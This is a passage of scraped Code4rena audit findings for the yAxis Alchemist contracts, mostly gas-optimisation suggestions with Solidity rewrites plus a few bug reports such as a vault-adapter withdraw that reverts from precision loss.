_withdrawAmount, uint256 _decreasedValue) = _vaults.last().withdraw( _recipient, _remainingAmount ); ``` ## Tools Used Manual analysis "}, {"title": "`AlchemistVault.sol` can be optimised", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/100", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "# Handle 0x0x0x # Vulnerability details ## Proof of Concept There is no need to cache calculation steps between the return values. `L98-L122` is as follows: ``` uint256 _endingBalance = _token.balanceOf(_recipient); uint256 _withdrawnAmount = _token.balanceOf(_recipient).sub(_startingBalance); uint256 _endingTotalValue = _self.totalValue(); uint256 _decreasedValue = _startingTotalValue.sub(_endingTotalValue); ``` Which can be replaced by following code to save gas: ``` uint256 _withdrawnAmount = _token.balanceOf(_recipient).sub(_startingBalance); uint256 _decreasedValue = _startingTotalValue.sub(_self.totalValue()); ``` ## Tools Used Manual analysis "}, {"title": "Gas optimization: Reduce storage write", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/97", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "# Handle gzeon # Vulnerability details ## Proof of Concept https://github.com/code-423n4/2021-11-yaxis/blob/146febcb61ae7fe20b0920849c4f4bbe111c6ba7/contracts/v3/alchemix/Alchemist.sol#L630 The line can be rewritten as `_remainingAmount = _remainingAmount.add(_borrowFeeAmount);` to reduce a storage write. Alternatively use a memory variable to preserve code readability. "}, {"title": "Removing the unnecessary function", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/96", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "# Handle xxxxx # Vulnerability details ## Impact The unnecessary code can be removed to reduce contract size. ## Proof of Concept In the contract \"Alchemist.sol\" the function \"_expectCaller\" is never used. ## Tools Used Remix solidity 0.6.12 ## Recommended Mitigation Steps The function \"_expectCaller(address _expectedCaller)\" can be removed. "}, {"title": "`CDP.sol#getUpdatedTotalDebt` can be optimized", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/92", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "# Handle 0x0x0x # Vulnerability details ## Proof of Concept Current implementation has two if statements, but actually the same logic can be coded with only one if statement. Since `_unclaimedYield == 0` is a special case of `_unclaimedYield < _currentTotalDebt` and does not require any extra code. ``` function getUpdatedTotalDebt(Data storage _self, Context storage _ctx) internal view returns (uint256) { uint256 _unclaimedYield = _self.getEarnedYield(_ctx); uint256 _currentTotalDebt = _self.totalDebt; if (_unclaimedYield < _currentTotalDebt) { return _currentTotalDebt - _unclaimedYield; } else { return 0; } } ``` ## Tools Used Manual analysis "}, {"title": "`CDP.sol#update.sol` can be optimized", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/91", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "# Handle 0x0x0x # Vulnerability details ## Concept The current code is: ``` function update(Data storage _self, Context storage _ctx) internal { uint256 _earnedYield = _self.getEarnedYield(_ctx); if (_earnedYield > _self.totalDebt) { uint256 _currentTotalDebt = _self.totalDebt; _self.totalDebt = 0; _self.totalCredit = _earnedYield.sub(_currentTotalDebt); } else { _self.totalDebt = _self.totalDebt.sub(_earnedYield); } _self.lastAccumulatedYieldWeight = _ctx.accumulatedYieldWeight; } ``` We cache _self.totalDebt, but it is not required, since we can use it before we change it. This code block can be replaced with: ``` function update(Data storage _self, Context storage _ctx) internal { uint256 _earnedYield = _self.getEarnedYield(_ctx); if (_earnedYield > _self.totalDebt) { _self.totalCredit = _earnedYield.sub(_self.totalDebt); _self.totalDebt = 0; } else { _self.totalDebt = _self.totalDebt.sub(_earnedYield); } _self.lastAccumulatedYieldWeight = _ctx.accumulatedYieldWeight; } ``` By doing so, we don't cache `_self.totalDebt` just to use it once. "}, {"title": "Require statements without messages", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/88", "labels": ["bug", "0 (Non-critical)", "wont fix"], "target": "2021-11-yaxis-findings", "body": "Require statements without messages"}, {"title": "Open TODOs", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/87", "labels": ["bug", "invalid", "0 (Non-critical)"], "target": "2021-11-yaxis-findings", "body": "Open TODOs"}, {"title": "State variables can be `immutable`s", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/83", "labels": ["bug", "invalid", "G (Gas Optimization)"], "target": "2021-11-yaxis-findings", "body": "State variables can be `immutable`s"}, {"title": "Incorrect Comment", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/77", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor disputed"], "target": "2021-11-yaxis-findings", "body": "Incorrect Comment"}, {"title": "No Event Emitted on Minting", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/76", "labels": ["bug", "0 (Non-critical)", "sponsor disputed", "wont fix"], "target": "2021-11-yaxis-findings", "body": "No Event Emitted on Minting"}, {"title": "Lack of Input Validation", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/75", "labels": ["bug", "0 (Non-critical)", "sponsor disputed", "wont fix"], "target": "2021-11-yaxis-findings", "body": "Lack of Input Validation"}, {"title": "Gas Optimization: Inline instead of modifier", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/72", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "Gas Optimization: Inline instead of modifier"}, {"title": "No incentive to call `transmute()` instead of `forceTransmute(self)`", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/68", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "wont fix"], "target": "2021-11-yaxis-findings", "body": "No incentive to call `transmute()` instead of `forceTransmute(self)`"}, {"title": "`Transmuter.unstake` updates user without first updating distributing yield", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/66", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "# Handle cmichel # Vulnerability details The `updateAccount` function should capture the latest distributed yield to the Transmuter (stored in `buffer`) and therefore work with the latest `totalDividendPoints` variable. This variable is updated when running a phase distribution with `runPhasedDistribution`. Unlike all other function that call `updateAccount`, the `unstake` function does not first run a `runPhasedDistribution` modifer to distribute the latest yield. ## Impact Users that unstake lose out on some yield by not having their alTokens transmuted. ## Recommended Mitigation Steps Call `runPhasedDistribution` in `unstake` before the `updateAccount` call, as in `stake` or `transmute`. "}, {"title": "`Alchemist.migrate` can push duplicate adapters to `_vaults`", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/65", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "wont fix"], "target": "2021-11-yaxis-findings", "body": "`Alchemist.migrate` can push duplicate adapters to `_vaults`"}, {"title": "Pending governance is not cleared", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/63", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "wont fix"], "target": "2021-11-yaxis-findings", "body": "Pending governance is not cleared"}, {"title": "Gas optimization: Caching variables", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/62", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "fix later"], "target": "2021-11-yaxis-findings", "body": "Gas optimization: Caching variables"}, {"title": "Constructor Lack of Zero Address Check for Tokens", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/60", "labels": ["bug", "0 (Non-critical)", "sponsor disputed", "wont fix"], "target": "2021-11-yaxis-findings", "body": "Constructor Lack of Zero Address Check for Tokens"}, {"title": "No Transfer Ownership Pattern in AlToken.sol", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/56", "labels": ["bug", "0 (Non-critical)", "sponsor disputed", "wont fix"], "target": "2021-11-yaxis-findings", "body": "No Transfer Ownership Pattern in AlToken.sol"}, {"title": "Inline internal functions that are being used only once can save gas", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/54", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged"], "target": "2021-11-yaxis-findings", "body": "Inline internal functions that are being used only once can save gas"}, {"title": "`Alchemist.sol#mint()` Two storage writes can be combined into one", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/53", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "# Handle WatchPug # Vulnerability details In `Alchemist.sol#mint()`, when `borrowFee > 0`, `_cdp.totalDebt` will be written 2 times. Combing them into one storage write can save gas. https://github.com/code-423n4/2021-11-yaxis/blob/146febcb61ae7fe20b0920849c4f4bbe111c6ba7/contracts/v3/alchemix/Alchemist.sol#L611-L645 ```solidity function mint(uint256 _amount) external nonReentrant noContractAllowed onPriceCheck expectInitialized { CDP.Data storage _cdp = _cdps[msg.sender]; _cdp.update(_ctx); uint256 _totalCredit = _cdp.totalCredit; if (_totalCredit < _amount) { uint256 _remainingAmount = _amount.sub(_totalCredit); if (borrowFee > 0) { uint256 _borrowFeeAmount = _remainingAmount.mul(borrowFee).div( PERCENT_RESOLUTION ); _cdp.totalDebt = _cdp.totalDebt.add(_borrowFeeAmount); xtoken.mint(rewards, _borrowFeeAmount); } _cdp.totalDebt = _cdp.totalDebt.add(_remainingAmount); _cdp.totalCredit = 0; _cdp.checkHealth(_ctx, 'Alchemist: Loan-to-value ratio breached'); } else { _cdp.totalCredit = _totalCredit.sub(_amount); } xtoken.mint(msg.sender, _amount); if (_amount >= flushActivator) { flushActiveVault(); } } ``` ### Recommendation Change to: ```solidity function mint(uint256 _amount) external nonReentrant noContractAllowed onPriceCheck expectInitialized { CDP.Data storage _cdp = _cdps[msg.sender]; _cdp.update(_ctx); uint256 _totalCredit = _cdp.totalCredit; uint256 _totalDebt = _cdp.totalDebt; if (_totalCredit < _amount) { uint256 _remainingAmount = _amount.sub(_totalCredit); if (borrowFee > 0) { uint256 _borrowFeeAmount = _remainingAmount.mul(borrowFee).div( PERCENT_RESOLUTION ); _totalDebt = _totalDebt.add(_borrowFeeAmount); xtoken.mint(rewards, _borrowFeeAmount); } _cdp.totalDebt = _totalDebt.add(_remainingAmount); _cdp.totalCredit = 0; _cdp.checkHealth(_ctx, 'Alchemist: Loan-to-value ratio breached'); } else { _cdp.totalCredit = _totalCredit.sub(_amount); } xtoken.mint(msg.sender, _amount); if (_amount >= flushActivator) { flushActiveVault(); } } ``` "}, {"title": "Save `vault.getToken()` as an immutable variable in `YaxisVaultAdapter.sol` contract can save gas", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/52", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "# Handle WatchPug # Vulnerability details Across the functions in `YaxisVaultAdapter.sol`, `vault.getToken()` is called many times, each one will cost a significant amount of gas due to external call. Given that the result of `vault.getToken()` will never change, create an immutable variable named `token` in the contract and replace `vault.getToken()` with `token` can save gas. `vault.getLPToken()` is a similar situation, it can also be cached as an immutable variable. https://github.com/code-423n4/2021-11-yaxis/blob/146febcb61ae7fe20b0920849c4f4bbe111c6ba7/contracts/v3/alchemix/adapters/YaxisVaultAdapter.sol#L45-L45 https://github.com/code-423n4/2021-11-yaxis/blob/146febcb61ae7fe20b0920849c4f4bbe111c6ba7/contracts/v3/alchemix/adapters/YaxisVaultAdapter.sol#L70-L70 https://github.com/code-423n4/2021-11-yaxis/blob/146febcb61ae7fe20b0920849c4f4bbe111c6ba7/contracts/v3/alchemix/adapters/YaxisVaultAdapter.sol#L76-L76 "}, {"title": "Change unnecessary storage variables to constants can save gas", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/51", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged"], "target": "2021-11-yaxis-findings", "body": "Change unnecessary storage variables to constants can save gas"}, {"title": "Use short reason strings can save gas", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/50", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "fix later"], "target": "2021-11-yaxis-findings", "body": "Use short reason strings can save gas"}, {"title": "Tokens with fee on transfer are not supported", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/49", "labels": ["bug", "0 (Non-critical)", "sponsor disputed", "wont fix"], "target": "2021-11-yaxis-findings", "body": "Tokens with fee on transfer are not supported"}, {"title": "Should `safeApprove(0)` first", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/48", "labels": ["bug", "0 (Non-critical)", "resolved"], "target": "2021-11-yaxis-findings", "body": "Should `safeApprove(0)` first"}, {"title": "Use of deprecated `safeApprove`", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/47", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "wont fix"], "target": "2021-11-yaxis-findings", "body": "Use of deprecated `safeApprove`"}, {"title": "`YaxisVaultAdapter.sol#withdraw()` will most certainly fail", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/46", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "# Handle WatchPug # Vulnerability details The actual token withdrawn from `vault.withdraw()` will most certainly less than the `_amount`, due to precision loss in `_tokensToShares()` and `vault.withdraw()`. As a result, `IDetailedERC20(_token).safeTransfer(_recipient, _amount)` will revert due to insufficant balance. Based on the simulation we ran, it will fail `99.99%` of the time unless the pps == 1e18. https://github.com/code-423n4/2021-11-yaxis/blob/146febcb61ae7fe20b0920849c4f4bbe111c6ba7/contracts/v3/alchemix/adapters/YaxisVaultAdapter.sol#L68-L72 ```solidity=68 function withdraw(address _recipient, uint256 _amount) external override onlyAdmin { vault.withdraw(_tokensToShares(_amount)); address _token = vault.getToken(); IDetailedERC20(_token).safeTransfer(_recipient, _amount); } ``` https://github.com/code-423n4/2021-11-yaxis/blob/146febcb61ae7fe20b0920849c4f4bbe111c6ba7/contracts/v3/Vault.sol#L181-L187 ```solidity function withdraw( uint256 _shares ) public override { uint256 _amount = (balance().mul(_shares)).div(IERC20(address(vaultToken)).totalSupply()); ``` ### Recommendation Change to: ```solidity=68 function withdraw(address _recipient, uint256 _amount) external override onlyAdmin { address _token = vault.getToken(); uint256 beforeBalance = IDetailedERC20(_token).balanceOf(address(this)); vault.withdraw(_tokensToShares(_amount)); IDetailedERC20(_token).safeTransfer( _recipient, IDetailedERC20(_token).balanceOf(address(this)) - beforeBalance ); } ``` "}, {"title": "`YaxisVaultAdapter.sol` Use inline expression can save gas", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/45", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2021-11-yaxis-findings", "body": "`YaxisVaultAdapter.sol` Use inline expression can save gas"}, {"title": "Cache and read storage variables from the stack can save gas", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/44", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2021-11-yaxis-findings", "body": "Cache and read storage variables from the stack can save gas"}, {"title": "Only using `SafeMath` when necessary can save gas", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/41", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "# Handle WatchPug # Vulnerability details For the arithmetic operations that will never over/underflow, using SafeMath will cost more gas. For example: https://github.com/code-423n4/2021-12-yetifinance/blob/5f5bf61209b722ba568623d8446111b1ea5cb61c/packages/contracts/contracts/BorrowerOperations.sol#L791-L795 ```solidity=791 if (_debtChange > _variableYUSDFee) { // if debt decrease, and greater than variable fee, decrease newDebt = _troveManager.decreaseTroveDebt(_borrower, _debtChange.sub(_variableYUSDFee)); } else { // otherwise increase by opposite subtraction newDebt = _troveManager.increaseTroveDebt(_borrower, _variableYUSDFee.sub(_debtChange)); } ``` `_debtChange - _variableYUSDFee` at L792 and `_variableYUSDFee - _debtChange` at L794 will never underflow. https://github.com/code-423n4/2021-12-yetifinance/blob/5f5bf61209b722ba568623d8446111b1ea5cb61c/packages/contracts/contracts/YUSDToken.sol#L240-L241 ```solidity=240 _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); ``` `_balances[account] + amount` will not overflow if `_totalSupply.add(amount)` dose not overflow. https://github.com/code-423n4/2021-12-yetifinance/blob/5f5bf61209b722ba568623d8446111b1ea5cb61c/packages/contracts/contracts/YUSDToken.sol#L248-L249 ```solidity=248 _balances[account] = _balances[account].sub(amount, \"ERC20: burn amount exceeds balance\"); _totalSupply = _totalSupply.sub(amount); ``` `_totalSupply - amount` will not underflow if `_balances[account].sub(amount)` dose not underflow. "}, {"title": "Use immutable variable can save gas", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/37", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-11-yaxis/blob/0311dd421fb78f4f174aca034e8239d1e80075fe/contracts/v3/alchemix/adapters/YaxisVaultAdapter.sol#L23-L27 ```solidity=23 /// @dev The vault that the adapter is wrapping. IVault public vault; /// @dev The address which has admin control over this contract. address public admin; ``` `vault` and `admin` will never change, use immutable variable instead of storage variable can save gas. https://github.com/code-423n4/2021-11-yaxis/blob/146febcb61ae7fe20b0920849c4f4bbe111c6ba7/contracts/v3/alchemix/Transmuter.sol#L55-L56 ```solidity address public AlToken; address public Token; ``` `AlToken` and `Token` can also be changed to `immutable`. https://github.com/code-423n4/2021-11-yaxis/blob/0311dd421fb78f4f174aca034e8239d1e80075fe/contracts/v3/alchemix/Alchemist.sol#L114-L122 ```solidity=114 /// @dev The token that this contract is using as the parent asset. IMintableERC20 public token; /// @dev The token that this contract is using as the child asset. IMintableERC20 public xtoken; ``` `token` and `xtoken` can also be changed to `immutable`. ### Recommendation Change to: ```solidity /// @dev The vault that the adapter is wrapping. IVault public immutable vault; /// @dev The address which has admin control over this contract. address public immutable admin; constructor(IVault _vault, address _admin) public { vault = _vault; admin = _admin; address _token = _vault.getToken(); IDetailedERC20(_token).safeApprove(address(_vault), uint256(-1)); } ``` "}, {"title": "Unnecessary libraries", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/36", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor disputed"], "target": "2021-11-yaxis-findings", "body": "Unnecessary libraries"}, {"title": "Incorrect function docs", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/35", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "# Handle pmerkleplant # Vulnerability details The functions `AlToken::setBlacklist` and `AlToken::pauseAlchemist` in `v3/alchemix` state in their docs: \"This function reverts, if the caller does not have the admin role\". However, the functions revert if the caller does not have the **sentinel** role. See [lines 93-98](https://github.com/code-423n4/2021-11-yaxis/blob/main/contracts/v3/alchemix/AlToken.sol#L93). "}, {"title": "Missing events for owner only functions that change critical parameters", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/34", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "fix later"], "target": "2021-11-yaxis-findings", "body": "Missing events for owner only functions that change critical parameters"}, {"title": "`Alchemist.sol` does not use safeApprove", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/33", "labels": ["bug", "1 (Low Risk)", "sponsor disputed", "wont fix"], "target": "2021-11-yaxis-findings", "body": "`Alchemist.sol` does not use safeApprove"}, {"title": "CDP.sol update overwrites user's credit on every positive increment", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/31", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor disputed"], "target": "2021-11-yaxis-findings", "body": "CDP.sol update overwrites user's credit on every positive increment"}, {"title": "Redundant Import", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/28", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged"], "target": "2021-11-yaxis-findings", "body": "Redundant Import"}, {"title": "Upgrade pragma to at least 0.8.4", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/26", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "fix later"], "target": "2021-11-yaxis-findings", "body": "Upgrade pragma to at least 0.8.4"}, {"title": "No event for `Alchemist.sol#setPegMinimum`", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/24", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed", "wont fix"], "target": "2021-11-yaxis-findings", "body": "# Handle 0x0x0x # Vulnerability details ## Impact The change of `pegMinimum` is crucial for the funcionality of the contract. Users should be informed about the changes. Furthermore, when `pegMinimum` is set to be maximum of `uin256`, functions such as `mint`, `liquidate` and `repay` cannot be used. Therefore, the change of `pegMinimum` should be emitted to create a safe environment for users. ## Tools Used Manual analysis ## Recommended Mitigation Steps Emit the changes. Furthermore, it would be better if for such a change users get notified beforehand with a mechanism such as Timelock. "}, {"title": "At `Alchemist.sol#acceptGovernance`, cache `pendingGovernance` earlier to save gas", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/23", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "# Handle 0x0x0x # Vulnerability details ## Impact `Alchemist.sol#acceptGovernance`(L216-225) is: ``` function acceptGovernance() external { require(msg.sender == _pendingGovernance, 'sender is not pendingGovernance'); address _pendingGovernance = pendingGovernance; governance = _pendingGovernance; emit GovernanceUpdated(_pendingGovernance); } ``` It can be replaced with following code to save gas: ``` function acceptGovernance() external { address _pendingGovernance = pendingGovernance; require(msg.sender == _pendingGovernance, 'sender is not pendingGovernance'); governance = _pendingGovernance; emit GovernanceUpdated(_pendingGovernance); } ``` ## Tools Used Manual analysis "}, {"title": "For uint `> 0` can be replaced with ` != 0` for gas optimisation", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/22", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "fix later"], "target": "2021-11-yaxis-findings", "body": "# Handle 0x0x0x # Vulnerability details ## Impact `!= 0` is a cheaper operation compared to `> 0`, when dealing with `uint`. ## Occurences ``` ./AbstractRewardMine.sol:147: if (rewardDenominator > 0) { ./Auction.sol:219: require(amountTokens > 0, \"No claimable Arb tokens\"); ./Auction.sol:265: return auction.endingTime > 0 && (now >= auction.endingTime || auction.finalPrice > 0 || auction.commitments >= auction.maxCommitments); ./Auction.sol:385: return auction.startingTime > 0; ./Auction.sol:639: if (realBurnBudget > 0) { ./Auction.sol:659: require(auction.startingTime > 0, \"No auction available for the given id\"); ./Auction.sol:663: if (auction.maltPurchased > 0) { ./Auction.sol:861: if (auction.commitments > 0 || !auction.finalized) { ./Auction.sol:894: require(_length > 0, \"Length must be larger than 0\"); ./Auction.sol:972: require(_split > 0 && _split <= 10000, \"Must be between 0-100%\"); ./Auction.sol:980: require(_maxEnd > 0 && _maxEnd <= 1000, \"Must be between 0-100%\"); ./Auction.sol:988: require(_lookback > 0, \"Must be above 0\"); ./Auction.sol:996: require(_lookback > 0, \"Must be above 0\"); ./Auction.sol:1004: require(_bps > 0 && _bps < 1000, \"Must be between 0-100%\"); ./Auction.sol:1012: require(_threshold > 0, \"Must be between greater than 0\"); ./AuctionBurnReserveSkew.sol:109: if (aggregate.maxCommitments > 0) { ./AuctionBurnReserveSkew.sol:190: require(_lookback > 0, \"Cannot have zero lookback period\"); ./AuctionEscapeHatch.sol:191: require(amount > 0, \"Nothing to claim\"); ./AuctionEscapeHatch.sol:222: require(_earlyExitBps > 0 && _earlyExitBps <= 1000, \"Must be between 0-100%\"); ./AuctionEscapeHatch.sol:230: require(_period > 0, \"Cannot have 0 lookback period\"); ./AuctionPool.sol:118: if (globalRewarded > 0 && userReward > 0) { ./AuctionPool.sol:125: if (forfeitAmount > 0) { ./AuctionPool.sol:129: if (declaredRewardDecrease > 0) { ./AuctionPool.sol:141: if (forfeitedRewards > 0) { ./Bonding.sol:87: require(amount > 0, \"Cannot bond 0\"); ./Bonding.sol:97: require(amount > 0, \"Cannot unbond 0\"); ./Bonding.sol:101: require(bondedBalance > 0, \"< bonded balance\"); ./Bonding.sol:117: require(amount > 0, \"Cannot unbond 0\"); ./Bonding.sol:121: require(bondedBalance > 0, \"< bonded balance\"); ./Bonding.sol:283: if (diff > 0) { ./DAO.sol:47: if (offeringMint > 0) { ./DAO.sol:78: require(amount > 0, \"Cannot have zero amount\"); ./DAO.sol:94: require(_length > 0, \"Cannot have zero length epochs\"); ./ERC20VestedMine.sol:93: if (globalRewarded > 0 && userReward > 0) { ./ERC20VestedMine.sol:115: if (forfeitReward > 0) { ./ERC20VestedMine.sol:119: if (declaredRewardDecrease > 0) { ./ForfeitHandler.sol:49: if (swingTraderCut > 0) { ./ForfeitHandler.sol:53: if (treasuryCut > 0) { ./ImpliedCollateralService.sol:64: if (maxAmount > 0) { ./ImpliedCollateralService.sol:68: if (maxAmount > 0) { ./ImpliedCollateralService.sol:71: // if (maxAmount > 0) { ./ImpliedCollateralService.sol:74: // if (maxAmount > 0) { ./LiquidityExtension.sol:161: require(_ratio > 0 && _ratio <= 100, \"Must be between 0 and 100\"); ./MaltDataLab.sol:234: require(_price > 0, \"Cannot have 0 price\"); ./MaltDataLab.sol:242: require(_lookback > 0, \"Cannot have 0 lookback\"); ./MaltDataLab.sol:250: require(_lookback > 0, \"Cannot have 0 lookback\"); ./MaltDataLab.sol:258: require(_lookback > 0, \"Cannot have 0 lookback\"); ./MovingAverage.sol:385: if (oldSample.timestamp > 0 && activeSamples > 1) { ./MovingAverage.sol:412: require(_sampleLength > 0, \"Cannot have 0 second sample length\"); ./MovingAverage.sol:428: require(_sampleMemory > 0, \"Cannot have sample memroy of 0\"); ./PoolTransferVerification.sol:76: require(newThreshold > 0 && newThreshold < 10000, \"Threshold must be between 0-100%\"); ./PoolTransferVerification.sol:85: require(lookback > 0, \"Cannot have 0 lookback\"); ./RewardReinvestor.sol:93: require(rewardLiquidity > 0, \"Cannot reinvest 0\"); ./RewardReinvestor.sol:115: if (maltBalance > 0) { ./RewardReinvestor.sol:119: if (rewardTokenBalance > 0) { ./RewardSystem/RewardDistributor.sol:144: require(reward > 0, \"Cannot declare 0 reward\"); ./RewardSystem/RewardDistributor.sol:266: if (amount > 0) { ./RewardSystem/RewardDistributor.sol:277: if (amount > 0) { ./RewardSystem/RewardOverflowPool.sol:76: require(_maxFulfillment > 0, \"Can't have 0 max fulfillment\"); ./RewardSystem/RewardThrottle.sol:85: if (aprTarget > 0 && _epochAprGivenReward(epoch, balance) > aprTarget) { ./RewardSystem/RewardThrottle.sol:89: if (remainder > 0) { ./RewardSystem/RewardThrottle.sol:271: if (underflow > 0) { ./RewardSystem/RewardThrottle.sol:323: require(_smoothingPeriod > 0, \"No zero smoothing period\"); ./StabilizerNode.sol:270: if (callerCut > 0) { ./StabilizerNode.sol:274: if (auctionPoolCut > 0) { ./StabilizerNode.sol:278: if (swingTraderCut > 0) { ./StabilizerNode.sol:282: if (treasuryCut > 0) { ./StabilizerNode.sol:286: if (daoCut > 0) { ./StabilizerNode.sol:290: if (lpCut > 0) { ./StabilizerNode.sol:359: require(_period > 0, \"Must be greater than 0\"); ./StabilizerNode.sol:406: require(_incentive > 0, \"No negative incentive\"); ./StabilizerNode.sol:417: require(amount > 0, \"No negative damping\"); ./StabilizerNode.sol:449: require(_upper > 0 && _lower > 0, \"Must be above 0\"); ./StabilizerNode.sol:488: require(_maxContribution > 0 && _maxContribution <= 100, \"Must be between 0 and 100\"); ./StabilizerNode.sol:552: require(_period > 0, \"Cannot have 0 period\"); ./StabilizerNode.sol:561: require(_distance > 0 && _distance < 1000, \"Override must be between 0-100%\"); ./StabilizerNode.sol:570: require(_period > 0, \"Cannot have 0 period\"); ./SwingTrader.sol:136: if (profit > 0) { ./libraries/SafeBurnMintableERC20.sol:70: if (returndata.length > 0) { // Return data is optional ./libraries/UniswapV2Library.sol:37: require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); ./libraries/UniswapV2Library.sol:38: require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); ./libraries/UniswapV2Library.sol:44: require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); ./libraries/UniswapV2Library.sol:45: require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); ./libraries/UniswapV2Library.sol:54: require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); ./libraries/UniswapV2Library.sol:55: require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); ./libraries/UniswapV2Library.sol:77: for (uint i = path.length - 1; i > 0; i--) { ``` "}, {"title": "Lack of Proper Tests?", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/20", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "fix later"], "target": "2021-11-yaxis-findings", "body": "Lack of Proper Tests?"}, {"title": "Remove FixedPointMath ", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/18", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "# Handle TimmyToes # Vulnerability details ## Impact Including unused libraries could potentially use up gas and certainly makes the code more difficult to understand, hindering developer integrations/poor confused security auditors. ## Proof of Concept 